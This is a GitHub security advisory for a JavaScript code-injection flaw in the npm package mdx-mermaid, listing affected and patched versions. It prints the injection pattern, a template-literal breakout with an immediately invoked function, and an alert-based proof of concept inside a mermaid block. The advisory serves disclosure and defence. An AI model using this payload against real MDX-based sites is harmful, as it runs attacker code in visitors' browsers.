ADVISORIES

GitHub Advisory Database

GHSA-rvgm-35jw-q628

Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Details

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

` + (function () {
  // Put Javascript code here
  return ''
}()) + `

The block below shows a valid mermaid code block

graph TD; A-->B; A-->C; B-->D; C-->D;

The same block but with the exploit added

+ (function () { alert('vulnerable') return '' }()) + graph TD; A-->B; A-->C; B-->D; C-->D;

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

Affected packages

EcosystemPackageAffected versions
npmmdx-mermaid
All versions before 1.3.0 (fixed in 1.3.0)
npmmdx-mermaid
From 2.0.0-rc1 before 2.0.0-rc2 (fixed in 2.0.0-rc2)

References